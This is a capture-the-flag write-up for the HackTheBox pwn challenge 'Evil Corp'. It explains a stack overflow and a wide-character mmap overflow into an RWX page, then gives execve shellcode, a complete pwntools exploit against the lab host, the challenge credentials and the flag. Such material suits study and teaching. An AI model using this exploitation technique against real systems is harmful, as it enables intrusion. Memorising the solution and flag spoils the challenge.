pwnfreemedium

Evil Corp

hackthebox

64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (`fgetws`, `wcscmp`, `wcstol`, `wprintf`) with `en_US.UTF-8` locale. Bilingual interface (English + Chinese).

$ ls tags/ techniques/
mmap_overflow_to_rwxwchar_type_confusionstack_bof_ret2fixedshellcode_encoding_via_wcharnull_byte_via_fgetws

Evil Corp -- HackTheBox

Description

"We turned our assembly tester off because a big mistake from our new C developer. Do you think there are other mistakes he made?"

64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (fgetws, wcscmp, wcstol, wprintf) with en_US.UTF-8 locale. Bilingual interface (English + Chinese).

Remote target: 154.57.164.71:31387.

Protections

ProtectionStatus
PIEEnabled (but target is MAP_FIXED address, PIE not relevant)
NXEnabled (but 0x11000 is RWX via mmap)
CanaryNone
RELROPartial

Analysis

Key Functions

Setup()

Sets locale to en_US.UTF-8 and creates two adjacent mmap regions with fixed addresses:

0x10000 (SupportMsg)       — RW,  0x4b0 (1200) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS
0x11000 (AssemblyTestPage) — RWX, 0x800 (2048) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS (PROT_READ|PROT_WRITE|PROT_EXEC)

Critical point: AssemblyTestPage has execute permissions, and MAP_FIXED means addresses are independent of ASLR.

Login()

  • Hardcoded credentials: eliot / 4007
  • fgetws(username_buf, 30, stdin) -- 30 wchar_t into 32-wchar_t buffer (safe)
  • fgetws(password_buf, 0x12c, stdin) -- 300 wchar_t into 32-wchar_t buffer (OVERFLOW!)
  • password_buf at RSP+0x00, username_buf at RSP+0x80
  • Return address at RSP+0x158 = 86 wchar_t from start of password_buf
  • Stack frame: push rbx; sub rsp, 0x150 (no RBP frame, no canary)

wcharToChar16(src, dst, count)

"Big mistake from the C developer": truncates wchar_t (4 bytes on Linux x86-64) to char16_t (2 bytes), keeping only the lower 16 bits. No bounds checking on destination buffer.

ContactSupport()

  • fgetws(msg_buf, 0x1000, stdin) -- reads up to 4096 wchar_t into 4000-wchar_t buffer
  • Then wcharToChar16(msg_buf, SupportMsg, 0x1000) -- writes up to 8192 bytes starting at SupportMsg (0x10000, only 1200 bytes allocated)
  • mmap overflow: after 2048 wchar_t input (= 4096 bytes char16_t output) write overflows into AssemblyTestPage at address 0x11000 (RWX!)

GetOpt()

Menu: 1. Assembly Tester (disabled), 2. Contact Support, 3. Logout, 4. Exit.

Vulnerabilities

  1. V1 -- Login password stack overflow (CRITICAL): fgetws(buf, 300, stdin) reads 1200 bytes into 128-byte buffer. Return address at offset 86 wchar_t (344 bytes).

  2. V2 -- ContactSupport mmap overflow (CRITICAL): wcharToChar16 writes up to 8192 bytes from SupportMsg (0x10000) into AssemblyTestPage (0x11000, RWX). Allows shellcode injection at a fixed, known, executable address.

  3. V3 -- Type confusion (HIGH): wcharToChar16 confuses wchar_t (4B) with char16_t (2B) -- "big mistake from the C developer".

Solution

Exploitation Strategy

┌──────────────────────────────────────────────────────────────────────┐
│ 1. Login with eliot/4007                                             │
│ 2. ContactSupport → 2048 padding + shellcode → shellcode at 0x11000  │
│ 3. Logout                                                            │
│ 4. Re-login with password overflow → RIP = 0x11000                   │
│ 5. execve("/bin/sh") → shell                                         │
└──────────────────────────────────────────────────────────────────────┘

Step 1: Login with Hardcoded Credentials

Standard login: eliot / 4007.

Step 2: Shellcode Injection via ContactSupport

Select option 2 (Contact Support) and send a specially crafted payload:

Padding (2048 'A' characters):

  • Each 'A' is a wchar_t 0x00000041
  • wcharToChar16 truncates to char16_t 0x0041 = 2 bytes
  • 2048 * 2 = 4096 bytes fill SupportMsg from 0x10000 to 0x10FFF

Shellcode (after padding):

  • Each pair of shellcode bytes (b0, b1) is encoded as one wchar_t with value b0 | (b1 << 8)
  • Sent as UTF-8 encoding of that Unicode codepoint
  • fgetws converts UTF-8 back to wchar_t
  • wcharToChar16 truncates to char16_t, writing original bytes b0, b1 at address 0x11000+

Shellcode -- execve("/bin/sh", NULL, NULL), 26 bytes:

xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string xor rdx, rdx ; 48 31 d2 — rdx = 0 (envp) push 0x3b ; 6a 3b — syscall number pop rax ; 58 syscall ; 0f 05

Step 3: Logout

Select option 3 to logout. Return to main main() loop.

Step 4: Re-login with Password Overflow

Send arbitrary username ('A') and specially crafted password:

[86 'B' characters] [addr 0x11000 as UTF-8] [raw 0x00 byte]

Payload breakdown:

  • 86 'B' -- each becomes wchar_t 0x00000042, filling 86 * 4 = 344 bytes up to return address
  • wchar_to_utf8(0x11000) = F0 91 80 80 -- UTF-8 encoding of U+11000, fgetws converts to wchar_t 0x00011000 = lower 4 bytes of return address
  • Raw \x00 byte -- fgetws converts to wchar_t 0x00000000 = upper 4 bytes of return address

Key trick: fgetws does NOT stop on null wchar_t (only on newline or EOF), so the null byte passes through!

Final return address on stack: 0x0000000000011000 -- exactly at our shellcode.

Step 5: Shell

Login() returns -> RIP = 0x11000 -> shellcode executes -> /bin/sh -> cat flag* -> flag!

Why All Protections Are Bypassed

ProtectionWhy it doesn't work
No canaryStack overflow is trivial, no leak needed
PIETarget is MAP_FIXED address 0x11000, independent of ASLR
NXPage 0x11000 has PROT_EXEC (RWX via mmap)
ASLRMAP_FIXED fixes mmap addresses regardless of ASLR
Partial RELROGOT overwrite not needed

Full Exploit

#!/usr/bin/env python3 from pwn import * import struct, sys context.arch = 'amd64' context.os = 'linux' r = remote('154.57.164.71', 31387) def wchar_to_utf8(cp): """Encode a Unicode codepoint as UTF-8 bytes""" if cp == 0: return b'\x00' if cp <= 0x7F: return bytes([cp]) elif cp <= 0x7FF: return bytes([0xC0|(cp>>6), 0x80|(cp&0x3F)]) elif cp <= 0xFFFF: return bytes([0xE0|(cp>>12), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) elif cp <= 0x10FFFF: return bytes([0xF0|(cp>>18), 0x80|((cp>>12)&0x3F), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) # execve("/bin/sh", NULL, NULL) shellcode - 26 bytes shellcode = bytes.fromhex('4831f65648bf2f62696e2f2f736857488' '9e74831d26a3b580f05') if len(shellcode) % 2 != 0: shellcode += b'\x90' # Step 1: Login r.recvuntil(b'Username: '); r.sendline(b'eliot') r.recvuntil(b'Password: '); r.sendline(b'4007') r.recvuntil(b'>> ') # Step 2: Inject shellcode at 0x11000 via ContactSupport mmap overflow r.sendline(b'2'); r.recvuntil(b'\n\n') payload = b'A' * 2048 # Fill SupportMsg (0x10000 -> 0x10FFF) for i in range(0, len(shellcode), 2): val = struct.unpack('<H', shellcode[i:i+2])[0] payload += wchar_to_utf8(val) r.sendline(payload); r.recvuntil(b'>> ') # Step 3: Logout r.sendline(b'3') # Step 4: Re-login with password overflow -> RIP = 0x11000 r.recvuntil(b'Username: '); r.sendline(b'A') r.recvuntil(b'Password: ') r.sendline(b'B' * 86 + wchar_to_utf8(0x11000) + b'\x00') # Step 5: Shell r.interactive()

Notes

  • Shellcode is encoded in byte pairs: each pair (b0, b1) becomes wchar_t b0 | (b1 << 8), sent as UTF-8, fgetws decodes back to wchar_t, wcharToChar16 truncates to 2 bytes -- restoring the original pair. This is an elegant encoding scheme specific to wide character overflow.
  • Flag name "45c11_15_N07_4L0000n3" = "ascii is not alone" -- direct hint that the challenge is about wide characters, not regular ASCII.
  • Key null byte trick: raw \x00 via TCP -> fgetws converts to wchar_t 0x00000000 -> provides zero upper 4 bytes of 64-bit return address. Without this trick it would be impossible to form the correct address 0x0000000000011000.
  • "Assembly tester" is disabled in menu, but RWX page is still created in Setup() -- this is the "other mistakes" from the C developer.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups